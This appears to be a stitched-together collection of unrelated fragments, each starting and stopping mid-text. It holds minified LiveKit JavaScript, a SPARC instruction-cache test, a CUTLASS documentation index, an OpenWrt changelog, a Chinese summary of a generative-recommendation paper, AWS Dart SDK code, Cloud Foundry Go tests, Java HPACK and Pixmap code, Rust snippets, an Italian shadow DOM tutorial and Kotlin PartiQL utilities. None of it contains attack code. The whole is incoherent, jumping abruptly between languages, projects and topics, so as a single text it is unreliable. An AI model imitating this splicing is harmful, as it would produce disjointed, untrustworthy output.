y{yield this.attemptConnection(k??u,d,h,V),this.abortController=void 0,T()}catch(Q){if(this.regionUrlProvider&&Q instanceof Ie&&Q.reason!==Re.Cancelled&&Q.reason!==Re.NotAllowed){let U=null;try{U=yield this.regionUrlProvider.getNextBestRegionUrl((w=this.abortController)===null||w===void 0?void 0:w.signal)}catch(_){if(_ instanceof Ie&&(_.status===401||_.reason===Re.Cancelled)){this.handleDisconnect(this.options.stopLocalTrackOnUnpublish),C(_);return}}U&&!(!((O=this.abortController)===null||O===void 0)&&O.signal.aborted)?(this.log.info("Initial connection failed with ConnectionError: ".concat(Q.message,". Retrying with another region: ").concat(U),this.logContext),this.recreateEngine(),yield y(T,C,U)):(this.handleDisconnect(this.options.stopLocalTrackOnUnpublish,Iv(Q)),C(Q))}else{let U=pn.UNKNOWN_REASON;Q instanceof Ie&&(U=Iv(Q)),this.handleDisconnect(this.options.stopLocalTrackOnUnpublish,U),C(Q)}}}),b=this.regionUrl;return this.regionUrl=void 0,this.connectFuture=new Vy((T,C)=>{y(T,C,b)},()=>{this.clearConnectionFutures()}),this.connectFuture.promise}),this.connectSignal=(u,d,h,m,g,y)=>R(this,void 0,void 0,function*(){var b,T,C;const k=yield h.join(u,d,{autoSubscribe:m.autoSubscribe,adaptiveStream:typeof g.adaptiveStream=="object"?!0:g.adaptiveStream,maxRetries:m.maxRetries,e2eeEnabled:!!this.e2eeManager,websocketTimeout:m.websocketTimeout},y.signal);let w=k.serverInfo;if(w||(w={version:k.serverVersion,region:k.serverRegion}),this.serverInfo=w,this.log.debug("connected to Livekit Server ".concat(Object.entries(w).map(O=>{let[V,Q]=O;return"".concat(V,": ").concat(Q)}).join(", ")),{room:(b=k.room)===null||b===void 0?void 0:b.name,roomSid:(T=k.room)===null||T===void 0?void 0:T.sid,identity:(C=k.participant)===null||C===void 0?void 0:C.identity}),!w.version)throw new _E("unknown server version");return w.version==="0.15.1"&&this.options.dynacast&&(this.log.debug("disabling dynacast due to server version",this.logContext),g.dynacast=!1),k}),this.applyJoinResponse=u=>{const d=u.participant;if(this.localParticipant.sid=d.sid,this.localParticipant.identity=d.identity,this.localParticipant.setEnabledPublishCodecs(u.enabledPublishCodecs),this.options.e2ee&&this.e2eeManager)try{this.e2eeManager.setSifTrailer(u.sifTrailer)}catch(h){this.log.error(h instanceof Error?h.message:"Could not set SifTrailer",Object.assign(Object.assign({},this.logContext),{error:h}))}this.handleParticipantUpdates([d,...u.otherParticipants]),u.room&&this.handleRoomUpdate(u.room)},this.attemptConnection=(u,d,h,m)=>R(this,void 0,void 0,function*(){var g,y;this.state===Te.Reconnecting||this.isResuming||!((g=this.engine)===null||g===void 0)&&g.pendingReconnect?(this.log.info("Reconnection attempt replaced by new connection attempt",this.logContext),this.recreateEngine()):this.maybeCreateEngine(),


 0x1100, %g1
        stxa    %i1, [%g1]ASI_ICACHE_INSTR

        set     0x1500, %g1
        stxa    %i1, [%g1]ASI_ICACHE_INSTR
        membar  0x40

switch_0:
        setx    0xfffffffdffffffff, %i5, %i1    !PARITY=0
        set     0x1600, %g1
        stxa    %i1, [%g1]ASI_ICACHE_INSTR

        set     0x1700, %g1
        stxa    %i1, [%g1]ASI_ICACHE_INSTR

        set     0x1800, %g1
        stxa    %i1, [%g1]ASI_ICACHE_INSTR
        membar  0x40

set_red:
        wrpr    0x5, %g0, %tl

        nop; nop;
        membar  0x40

        ta      0x0

red_loop:
        add %g1, 1, %g1
        cmp %g1, 100
        ble red_loop
        nop

        MY_FAIL
        nop

#define  My_RED_Mode_Other_Reset setx    ic,  %o5, %o6; \
                           jmpl    %o6, %g0; nop

.global ic
ic:
        setx    0x2ffffffff, %i5, %g3

	set	0x0, %g1
	ldxa	[%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

	add	%g1, 0x40, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

        set     0x3FF8, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

parity_0_ch:
        setx    0x3ffffffff, %i5, %g3

        set     0x1000, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

        set     0x1100, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

        set     0x1500, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

switch_0_ch:
        setx    0x2ffffffff, %i5, %g3

        set     0x1600, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

        set     0x1700, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

        set     0x1800, %g1
        ldxa    [%g1]ASI_ICACHE_INSTR, %g2
        sub     %g2, %g3, %g4
        brnz    %g4, bad_end
        nop

	MY_PASS

bad_end:
        MY_FAIL

good_end:
        MY_PASS

.data
red_data:
        .word 0x5aaaaaaa, 0x5aaaaaaa
        .word 0x00000000, 0x00000000

temp_data:
        .word 0x00000000, 0x00000000

#include "boot.s"

.text
.global main
main:
    MY_FAIL


_1_1kC_00_01Element_4ccafbc821b3a55cd532602442a74031.html#a02577d3fdaffd13b94c80af82afa2bd1',1,'cutlass::gemm::warp::MmaSimtTileIterator< Shape_, Operand::kC, Element_, layout::ColumnMajor, Policy_ >::TensorCoord()'],['../classcutlass_1_1gemm_1_1warp_1_1MmaSimtTileIterator_3_01Shape___00_01Operand_1_1kC_00_01Element_8f92ea79e85febb67169c4b2d94b1b20.html#acc15ed081bc74392a56524ff4acd21a2',1,'cutlass::gemm::warp::MmaSimtTileIterator< Shape_, Operand::kC, Element_, layout::RowMajor, Policy_ >::TensorCoord()'],['../classcutlass_1_1gemm_1_1warp_1_1MmaSimtTileIterator_3_01Shape___00_01Operand_1_1kA_00_01Element_f0ce904a9294556f15e1cc9cf7c99a93.html#a66ec2bfb2372d4f88520d39663b7ea17',1,'cutlass::gemm::warp::MmaSimtTileIterator< Shape_, Operand::kA, Element_, layout::ColumnMajorInterleaved< 4 >, Policy_, PartitionsK, PartitionGroupSize >::TensorCoord()'],['../classcutlass_1_1gemm_1_1warp_1_1MmaSimtTileIterator_3_01Shape___00_01Operand_1_1kB_00_01Element_ada156b62fcbdce47009c5bf1321c92c.html#a9309f398bb898744bb05a9d90705dd65',1,'cutlass::gemm::warp::MmaSimtTileIterator< Shape_, Operand::kB, Element_, layout::RowMajorInterleaved< 4 >, Policy_, PartitionsK, PartitionGroupSize >::TensorCoord()'],['../classcutlass_1_1gemm_1_1warp_1_1MmaTensorOpMultiplicandTileIterator_3_01Shape___00_01Operand___0ed7daaeba1c095e77f68533d4d2c475c.html#a1b80f59bc16c01c0a5a347f36080d809',1,'cutlass::gemm::warp::MmaTensorOpMultiplicandTileIterator< Shape_, Operand_, Element_, cutlass::layout::TensorOpMultiplicandCongruous< sizeof_bits< Element_ >::value, 64 >, InstructionShape_, OpDelta_, 32, PartitionsK_ >::TensorCoord()'],['../classcutlass_1_1gemm_1_1warp_1_1MmaTensorOpMultiplicandTileIterator_3_01Shape___00_01Operand___0b84f53cd44b339eccc12067c9f86e11c.html#abcc77e7414e927a6626f614e5c3067ff',1,'cutlass::gemm::warp::MmaTensorOpMultiplicandTileIterator< Shape_, Operand_, Element_, cutlass::layout::ColumnMajorTensorOpMultiplicandCongruous< sizeof_bits< Element_ >::value, int(128/sizeof(Element_))>, InstructionShape_, OpDelta_, 32, PartitionsK_ >::TensorCoord()'],['../classcutlass_1_1gemm_1_1warp_1_1MmaTensorOpMultiplicandTileIterator_3_01Shape___00_01Operand___039819fb3ccd43786d556c2c9669508ef.html#ab0919a07c2d37fae0679481ef4ed8138',1,'cutlass::gemm::warp::MmaTensorOpMultiplicandTileIterator< Shape_, Operand_, Element_, cutlass::layout::RowMajorTensorOpMultiplicandCongruous< sizeof_bits< Element_ >::v


 to v0.2.0 to fix x86 32bit running |

#### ScwPackage [30aa0cc..f3dffb7](https://github.com/songchenwen/openwrt-package/compare/30aa0cc..f3dffb7)

| Commit | Author | Desc |
| :----- | :------| :--- |
| 3e23acfff | songchenwen | Github Workflow to Auto Merge Lienol's Packages |
| 6144406b6 | Lienol | ipsec: optimize script |
| fafc9a5ff | songchenwen | Add Clash Config File to Auto Backup |
| 00ae5ca02 | songchenwen | Initial Clash Support for Passwall |

--------------
---
layout: post
title: '论文分享-ETEGRec：端到端可学习的物品分词与生成式推荐'
date: "2025-10-12T00:41:23Z"
---
论文分享-ETEGRec：端到端可学习的物品分词与生成式推荐
------------------------------

ETEGRec：端到端可学习的物品分词与生成式推荐
=========================

摘要
--

现有生成式推荐多采用"两阶段"范式：先离线构造语义标识（Semantic ID），再以固定标识训练生成器，导致分词器与生成器目标失配、分布不一致。ETEGRec 将 RQ-VAE 物品分词器与 T5 式生成器统一到一个端到端框架中，并引入两类推荐导向对齐（SIA、PSA），通过交替优化稳定地联动两模块学习。在 Amazon-2023 三个子集上，ETEGRec 相比传统序列模型与主流生成式基线均取得稳定提升，消融实验验证了对齐与交替优化的有效性。

1\. 背景与问题定义
-----------

### 1.1 两阶段生成式推荐的局限

*   **解耦训练**：分词器（构造语义 ID）与生成器（自回归预测）相互独立，优化目标不一致，难以互相适配。
*   **分布失配与模式单一**：固定的 token 序列使生成器面对单一的模式，易过拟合；语义空间与偏好空间缺乏耦合。
*   **长度偏置**：不等长标识会引入预测偏好偏差，需固定长度缓解。

### 1.2 任务设定与符号

给定用户历史交互序列 \\(S=\[i\_1,\\dots,i\_t\]\\)，目标是预测下一物品 \\(i\_{t+1}\\)。每个物品以固定长度 \\(L\\) 的层级 token 表示：

\\\[i \\Rightarrow \[c^{(1)},\\dots,c^{(L)}\] \\\]

生成式推荐将任务转化为自回归地生成下一物品的语义 ID：

\\\[Y=\[c\_{t+1}^{(1)},\\dots,c\_{t+1}^{(L)}\] \\\]

2\. 方法总览
--------

*   **双 Encoder–Decoder 架构**：
    分词器 \\(T\\) 采用 RQ-VAE，将连续语义嵌入量化为 \\(L\\) 层 token；生成器 \\(R\\) 采用 T5 式 Seq2Seq，对历史 token 进行编码并自回归生成目标 token。
*   **两类推荐导向对齐**：
    **SIA**（Sequence-Item Alignment）对齐编码器的"下一物品语义预测"与真实物品在码本空间上的分布；
    **PSA**（Preference-Semantic Alignment）对齐解码器的"用户总体偏好表示"与物品重构语义。
*   **交替优化**：周期性冻结/更新 \\(T\\) 与 \\(R\\) 的参数，稳定推进端到端联合学习。

3\.


);
    _s.validateNumRange(
      'healthCheckPort',
      healthCheckPort,
      1,
      65535,
    );
    _s.validateNumRange(
      'thresholdCount',
      thresholdCount,
      1,
      10,
    );
    _s.validateNumRange(
      'trafficDialPercentage',
      trafficDialPercentage,
      0,
      100,
    );
    final headers = <String, String>{
      'Content-Type': 'application/x-amz-json-1.1',
      'X-Amz-Target': 'GlobalAccelerator_V20180706.CreateEndpointGroup'
    };
    final jsonResponse = await _protocol.send(
      method: 'POST',
      requestUri: '/',
      exceptionFnMap: _exceptionFns,
      // TODO queryParams
      headers: headers,
      payload: {
        'EndpointGroupRegion': endpointGroupRegion,
        'ListenerArn': listenerArn,
        if (endpointConfigurations != null)
          'EndpointConfigurations': endpointConfigurations,
        if (healthCheckIntervalSeconds != null)
          'HealthCheckIntervalSeconds': healthCheckIntervalSeconds,
        if (healthCheckPath != null) 'HealthCheckPath': healthCheckPath,
        if (healthCheckPort != null) 'HealthCheckPort': healthCheckPort,
        if (healthCheckProtocol != null)
          'HealthCheckProtocol': healthCheckProtocol.value,
        'IdempotencyToken': idempotencyToken ?? _s.generateIdempotencyToken(),
        if (portOverrides != null) 'PortOverrides': portOverrides,
        if (thresholdCount != null) 'ThresholdCount': thresholdCount,
        if (trafficDialPercentage != null)
          'TrafficDialPercentage': trafficDialPercentage,
      },
    );

    return CreateEndpointGroupResponse.fromJson(jsonResponse.body);
  }

  /// Create a listener to process inbound connections from clients to an
  /// accelerator. Connections arrive to assigned static IP addresses on a port,
  /// port range, or list of port ranges that you specify.
  ///
  /// May throw [InvalidArgumentException].
  /// May throw [AcceleratorNotFoundException].
  /// May throw [InvalidPortRangeException].
  /// May throw [InternalServiceErrorException].
  /// May throw [LimitExceededException].
  ///
  /// Parameter [acceleratorArn] :
  /// The Amazon Resource Name (ARN) of your accelerator.
  ///
  /// Parameter [portRanges] :
  /// The list of port ranges to support for connections from clients to your
  /// accelerator.
  ///
  /// Parameter [protocol] :
  /// The protocol for connections from clients to your accelerator.
  ///
  /// Parameter [clientAffinity] :
  /// Client affinity lets you direct all requests from a user to the same
  /// endpoint, if you have stateful applications, regardless of the port and
  /// protocol of the client request. Client affinity gives you control over
  /// whether to always route each client to the same specific endpoint.
  ///
  /// Global Accelerator uses a consistent-flow hashing algorithm to choose the
  /// optimal endpoint for a connection. If client affinity is
  /// NONE, Global Accelerator uses the "five-tuple" (5-tuple)
  /// properties—source IP address, source port, destination IP address,
  /// destination port, and protocol—to select the hash value, and then chooses
  /// the best endpoint. However, with this setting, if someone uses different
  /// ports to connect to Global Accelerator, their connections might not be
  /// always routed to the same endpoint because the hash value changes.
  ///
  /// If you want a given client to always be routed to the same endpoint, set
  /// client affinity to SOURCE_IP instead. When you use the
  /// SOURCE_IP setting, Global Accelerator uses the "two-tuple"
  /// (2-tuple) properties— source (client) IP address and destination IP
  /// address—to select the hash value.
  ///
  /// The default value is NONE.


estination{
						ID: "a",
						Ports: api.Ports{
							Start: 1234,
							End:   1234,
						},
						Protocol: "udp",
					},
				},
			}

		})
		It("Returns true if the string representation sorts first", func() {
			slice := api.PolicySlice(policies)
			Expect(slice.Less(0, 1)).To(Equal(!slice.Less(1, 0)))
			Expect(slice.Less(0, 2)).To(Equal(!slice.Less(2, 0)))
			Expect(slice.Less(0, 3)).To(Equal(!slice.Less(3, 0)))
			Expect(slice.Less(0, 4)).To(Equal(!slice.Less(4, 0)))
			Expect(slice.Less(0, 5)).To(Equal(!slice.Less(5, 0)))
		})

	})

	Describe("Swap", func() {
		It("swaps the elements at the given index", func() {
			slice := api.PolicySlice(policies)
			slice.Swap(0, 1)
			Expect(policies).To(Equal([]api.Policy{policy2, policy1}))
		})
	})
})
package api

import (
	"fmt"

	"code.cloudfoundry.org/cf-networking-helpers/marshal"
	"code.cloudfoundry.org/policy-server/store"
)

type asgMapper struct {
	Marshaler marshal.Marshaler
}

func NewAsgMapper(marshaler marshal.Marshaler) AsgMapper {
	return &asgMapper{
		Marshaler: marshaler,
	}
}

func (p *asgMapper) AsBytes(storeSecurityGroups []store.SecurityGroup, pagination store.Pagination) ([]byte, error) {
	apiSecurityGroups := make([]SecurityGroup, len(storeSecurityGroups))
	for i, securityGroup := range storeSecurityGroups {
		apiSecurityGroups[i] = mapStoreSecurityGroup(securityGroup)
	}

	payload := &AsgsPayload{
		Next:           pagination.Next,
		SecurityGroups: apiSecurityGroups,
	}

	bytes, err := p.Marshaler.Marshal(payload)
	if err != nil {
		return nil, fmt.Errorf("marshal json: %s", err)
	}
	return bytes, nil
}

func mapStoreSecurityGroup(storeSecurityGroup store.SecurityGroup) SecurityGroup {
	return SecurityGroup{
		Guid:              storeSecurityGroup.Guid,
		Name:              storeSecurityGroup.Name,
		Rules:             storeSecurityGroup.Rules,
		StagingDefault:    storeSecurityGroup.StagingDefault,
		RunningDefault:    storeSecurityGroup.RunningDefault,
		StagingSpaceGuids: storeSecurityGroup.StagingSpaceGuids,
		RunningSpaceGuids: storeSecurityGroup.RunningSpaceGuids,
	}
}
package api

import (
	"encoding/json"
	"errors"

	hfakes "code.cloudfoundry.org/cf-networking-helpers/fakes"
	"code.cloudfoundry.org/cf-networking-helpers/marshal"
	"code.cloudfoundry.org/policy-server/store"
	. "github.com/onsi/ginkgo/v2"
	. "github.com/onsi/gomega"
)

var _ = Describe("ApiAsgMapper", func() {

	var (
		mapper        AsgMapper
		fakeMarshaler *hfakes.Marshaler
	)
	BeforeEach(func() {
		mapper = NewAsgMapper(
			marshal.MarshalFunc(json.Marshal),
		)
		fakeMarshaler = &hfakes.Marshaler{}
	})

	Describe("AsBytes", func() {
		It("maps a slice of store.SecurityGroup to a payload with api.SecurityGroup", func() {
			securityGroups := []store.SecurityGroup{
				{
					Guid:


 FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

package jdk.internal.net.http.hpack;

import jdk.internal.net.http.hpack.HPACK.BufferUpdateConsumer;

import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.List;
import java.util.Objects;

import static jdk.internal.net.http.hpack.HPACK.bytesForBits;

public final class QuickHuffman {

    /*
     * Mapping of characters to their code information. Code information
     * consists of a code value and a code length. Both components are packed in
     * a single long as follows:
     *
     *     MSB                             LSB
     *     +----------------+----------------+
     *     |~code           |         length~|
     *     +----------------+----------------+
     *     |<----- 32 ----->|<----- 32 ----->|
     *     |<------------- 64 -------------->|
     *
     * The leftmost 32 bits hold the code value. This value is aligned left (or
     * MSB). The rightmost 32 bits hold the code length. This length is aligned
     * right (or LSB). Such structure is possible thanks to codes being up to 30
     * bits long and their lengths being up to 5 bits long (length = 5..30).
     * This allows both components to fit into long and, thus, better locality.
     *
     * Input strings never contain EOS. Thus there's no need to provide EOS
     * mapping. Hence, the length of the array is 256, not 257.
     */
    private static final long[] codes = new long[256];

    private static long codeValueOf(char c) {
        return codes[c] & 0xffffffff00000000L;
    }

    private static long codeLengthOf(char c) {
        return codes[c] & 0x00000000ffffffffL;
    }

    private static final int EOS_LENGTH = 30;
    private static final int EOS_LSB = 0x3fffffff;
    // EOS_LSB is casted to long before the shift, to allow long shift (6 bits)
    // instead of int shift (5 bits):
    private static final long EOS_MSB = ((long) EOS_LSB) << (64 - EOS_LENGTH);

    /*
     * Huffman trie.
     *
     * The root node leads to 257 descendant leaf nodes, of which 256 nodes
     * correspond to characters and 1 node correspond to EOS.
     */
    private static final Node root = buildTrie();

    private static Node buildTrie() {
        TemporaryNode tmpRoot = new TemporaryNode();
        addChar(tmpRoot,   0, 0x1ff8,     13);
        addChar(tmpRoot,   1, 0x7fffd8,   23);
        addChar(tmpRoot,   2, 0xfffffe2,  28);
        addChar(tmpRoot,   3, 0xfffffe3,  28);
        addChar(tmpRoot,   4, 0xfffffe4,  28);
        addChar(tmpRoot,   5, 0xfffffe5,  28);
        addChar(tmpRoot,   6, 0xfffffe6,  28);
        addChar(tmpRoot,   7, 0xfffffe7,  28);
        addChar(tmpRoot,   8


cerpt<'_> {
    fn _announce_and_return_part(&self, announcement: &str) -> &str {
        println!("Attention please: {}", announcement);
        self.part
    }
}

fn _test_15() {
    let _s = "hello";
    let _s: &'static str = "I have a static lifetime";
}

fn _longest_with_an_announcement<'a, T>(x: &'a str, y: &'a str, ann: T) -> &'a str
where
    T: Display,
{
    println!("Announcement! {}", ann);
    if x.len() > y.len() {
        x
    } else {
        y
    }
}
<gh_stars>0
// Copyright 2019 <NAME> .
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.

//! [Noise protocol framework][noise] support for susyp2p.
//!
//! This crate provides `susyp2p_core::InboundUpgrade` and `susyp2p_core::OutboundUpgrade`
//! implementations for various noise handshake patterns (currently IK, IX, and XX)
//! over a particular choice of DH key agreement (currently only X25519).
//!
//! All upgrades produce as output a pair, consisting of the remote's static public key
//! and a `NoiseOutput` which represents the established cryptographic session with the
//! remote, implementing `tokio_io::AsyncRead` and `tokio_io::AsyncWrite`.
//!
//! # Usage
//!
//! Example:
//!
//! ```
//! use susyp2p_core::Transport;
//! use susyp2p_tcp::TcpConfig;
//! use susyp2p_noise::{Keypair, X25519, NoiseConfig};
//!
//! # fn main() {
//! let keys = Keypair::<<KEY>();
//! let transport = TcpConfig::new().with_upgrade(NoiseConfig::xx(keys));
//! // ...
//! # }
//! ```
//!
//! [noise]: http://noiseprotocol.org/

mod error;
mod io;
mod protocol;

pub mod rt1;
pub mod rt15;

pub use error::NoiseError;
pub use io::NoiseOutput;
pub use protocol::{Keypair, PublicKey, Protocol, ProtocolParams, IX, IK, XX};
pub use protocol::x25519::X25519;

use susyp2p_core::{UpgradeInfo, InboundUpgrade, OutboundUpgrade, upgrade::Negotiated};
use tokio_io::{AsyncRead, AsyncWrite};
use zeroize::Zeroize;

/// The protocol upgrade configuration.
#[derive(Clone)]
pub struct NoiseConfig<P, C: Zero


nts, nPoints, bounds, xLeft, xRight, yBottom);
				}
			}
		});
		return this;
	}

	public Pixmap fillCircle(int x, int y, int radius) {
		return fillOval(x, y, radius, radius);
	}

	public Pixmap drawPolyline(int xPoints[], int yPoints[], int nPoints) {
		if (_isClosed) {
			return this;
		}
		for (int i = 1; i < nPoints; i++) {
			drawLine(xPoints[i - 1], yPoints[i - 1], xPoints[i], yPoints[i]);
		}
		return this;
	}

	/**
	 * 绘制一个多边形
	 *
	 * @param p
	 */
	public Pixmap drawPolygon(Polygon p) {
		return drawShapeImpl(p, 0, 0);
	}

	/**
	 * 绘制一个多边形
	 *
	 * @param path
	 * @return
	 */
	public Pixmap draw(Path2D path) {
		return drawPolygon(path.getPointiX(), path.getPointiY(), path.size() / 2);
	}

	/**
	 * 绘制一个多边形
	 *
	 * @param xPoints
	 * @param yPoints
	 * @param nPoints
	 */
	public Pixmap drawPolygon(int xPoints[], int yPoints[], int nPoints) {
		drawPolyline(xPoints, yPoints, nPoints);
		drawLine(xPoints[nPoints - 1], yPoints[nPoints - 1], xPoints[0], yPoints[0]);
		return this;
	}

	/**
	 * 绘制并填充一个多边形
	 *
	 * @param p
	 */
	public Pixmap fillPolygon(Polygon p) {
		return fillShapeImpl(p, 0, 0);
	}

	/**
	 * 绘制并填充一个多边形
	 *
	 * @param pixmap
	 * @param poly
	 * @return
	 */
	public Pixmap fillPolygon(Pixmap pixmap, Polygon poly) {
		return fillShapeImpl(pixmap, poly, 0, 0);
	}

	/**
	 * 绘制并填充一个多边形
	 *
	 * @param pixmap
	 * @param poly
	 * @param x
	 * @param y
	 * @return
	 */
	public Pixmap fillPolygon(Pixmap pixmap, Polygon poly, int x, int y) {
		return fillShapeImpl(pixmap, poly, x, y);
	}

	/**
	 * 绘制并填充一个多边形
	 *
	 * @param path
	 * @return
	 */
	public Pixmap fill(Path2D path) {
		return fillPolygon(path.getPointiX(), path.getPointiY(), path.size() / 2);
	}

	/**
	 * 绘制并填充一个多边形
	 *
	 * @param xPoints
	 * @param yPoints
	 * @param nPoints
	 */
	public Pixmap fillPolygon(int[] xPoints, int[] yPoints, int nPoints) {
		int[] xPointsCopy;
		if (_translateX == 0) {
			xPointsCopy = xPoints;
		} else {
			xPointsCopy = CollectionUtils.copyOf(xPoints);
			for (int i = 0; i < nPoints; i++) {
				xPointsCopy[i] += _translateX;
			}
		}
		int[] yPointsCopy;
		if (_translateY == 0) {
			yPointsCopy = yPoints;
		} else {
			yPointsCopy = CollectionUtils.copyOf(yPoints);
			for (int i = 0; i < nPoints; i++) {
				yPointsCopy[i] += _translateY;
			}
		}
		RectI bounds = CollisionHelper.getIntersection(
				CollisionHelper.setBoundingBox(temp_rect, xPointsCopy, yPointsCopy, nPoints), clip, temp_rect);
		for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
			for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
				if (CollisionHelper.contains(xPointsCopy, yPointsCopy, nPoints, bounds, x, y)) {


-user-card.svg)

Il risultato viene detto "flattened" DOM:

```html
<user-card>
  #shadow-root
    <div>Name:
      <slot name="username">
        <!-- l'elemento slotted viene inserito nello slot -->
        <span slot="username">John Smith</span>
      </slot>
    </div>
    <div>Birthday:
      <slot name="birthday">
        <span slot="birthday">01.01.2001</span>
      </slot>
    </div>
</user-card>
```

...Tuttavia, il flattened DOM esiste puramente per scopi di rendering e gestione degli eventi. È come se fosse "virtuale". Le cose vengono mostrate così come le vediamo, ma i nodi nel documento non vengono spostati!

Ciò può essere facilmente verificato se eseguiamo`querySelectorAll`: i nodi saranno rimasti al proprio posto.

```js
// i nodi degli <span> del light DOM sono ancora nella stessa posizione, quindi dentro `<user-card>`
alert( document.querySelectorAll('user-card span').length ); // 2
```

Quindi, il flattened DOM deriva dallo shadow DOM con l'inserimento degli slots. Il browser ne effettua il rendering e li usa per ereditare gli stili e la propagazione degli eventi (vedremo questi aspetti più avanti). Ciononostante JavaScript vede ancora il documento "per quello che è", cioè come era prima del processo di flattening.

````warn header="Solo i figli top-level possono avere l'attributo slot=\"...\" "
L'attributo `slot="..."` è valido solamente per i figli diretti dello shadow host (nel nostro esempio, l'elemento `<user-card>`), gli elementi annidati, invece, vengono ignorati.

Ad esempio, qui il secondo `<span>` viene ignorato (dal momento che non è un figlio top-level di `<user-card>`):
```html
<user-card>
  John Smith

    01.01.2001

</user-card>
```
````

Se ci sono più elementi nel light DOM con lo stesso slot name, questi vengono inseriti nello slot, uno dopo l'altro in successione.

Come nel seguente esempio:
```html
<user-card>
  <span slot="username">John</span>
  <span slot="username">Smith</span>
</user-card>
```

Restituisce il flattened DOM con due elementi dentro `<slot name="username">`:

```html
<user-card>
  #shadow-root
    <div>Name:
      <slot name="username">
        <span slot="username">John</span>
        <span slot="username">Smith</span>
      </slot>
    </div>
    <div>Birthday:
      <slot name="birthday"></slot>
    </div>
</user-card>
```

## Slot fallback content

Se inseriamo qualcosa dentro l'elemento `<slot>`, rappresenterà il contenuto di ripiego, cioè quello "predefinito". Quindi, nel caso in cui non vi fossero contenuti corrispondenti nel light DOM, sarà questo il contenuto che verrà visualizzato dal browser.

Per esempio, in questo pezzo di shadow DOM, verrà visualizzato `Anonymous` se non ci sono `slot="username"` nel light DOM.

```html

Name:
  <slot name="userna


  }
        // unreachable?
        return 0
    }

    private fun comparePrecedence(t1: PType, t2: PType): Int {
        if (t1 == t2) return 0
        val p1 = precedence[t1.code()]!!
        val p2 = precedence[t2.code()]!!
        return p1 - p2
    }

    /**
     * This simply describes some precedence for ordering functions.
     * This is not explicitly defined in the PartiQL Specification!!
     * This does not imply the ability to CAST; this defines function resolution behavior.
     * This excludes [PType.ROW] and [PType.UNKNOWN].
     */
    private val precedence: Map<Int, Int> = listOf(
        PType.BOOL,
        PType.TINYINT,
        PType.SMALLINT,
        PType.INTEGER,
        PType.BIGINT,
        PType.NUMERIC,
        PType.DECIMAL,
        PType.REAL,
        PType.DOUBLE,
        PType.CHAR,
        PType.VARCHAR,
        PType.STRING,
        PType.CLOB,
        PType.BLOB,
        PType.DATE,
        PType.TIME,
        PType.TIMEZ,
        PType.TIMESTAMP,
        PType.TIMESTAMPZ,
        PType.INTERVAL_YM,
        PType.INTERVAL_DT,
        PType.ARRAY,
        PType.BAG,
        PType.ROW,
        PType.STRUCT,
        PType.DYNAMIC,
    ).mapIndexed { precedence, type -> type to precedence }.toMap()
}
package org.partiql.planner.internal.util

import org.partiql.ast.DatetimeField

internal object FunctionUtils {

    /**
     * The internal system prefix is '\uFDEF', one of unicode's 'internal-use' non-characters. This allows us to "hide"
     * certain functions from being directly invocable via PartiQL text.
     * See:
     * - http://www.unicode.org/faq/private_use.html#nonchar1
     * - http://www.unicode.org/versions/Unicode5.2.0/ch16.pdf#G19635
     * - http://www.unicode.org/versions/corrigendum9.html
     */
    private const val SYSTEM_PREFIX_INTERNAL: String = "\uFDEF"

    // The following are public functions, able to be directly invoked via PartiQL text.
    const val FN_SUBSTRING: String = "substring"
    const val FN_CHAR_LENGTH: String = "char_length"
    const val FN_MODULO: String = "mod"

    val DATE_ADD_FUNCTION_REGEX = "(?i)^${SYSTEM_PREFIX_INTERNAL}date_add_(year|month|day|hour|minute|second)$".toRegex()

    // The following are hidden operators, unable to be invoked via PartiQL text.
    val OP_NOT: String = hide("not")
    val OP_AND: String = hide("and")
    val OP_OR: String = hide("or")
    val OP_POSITION: String = hide("position")
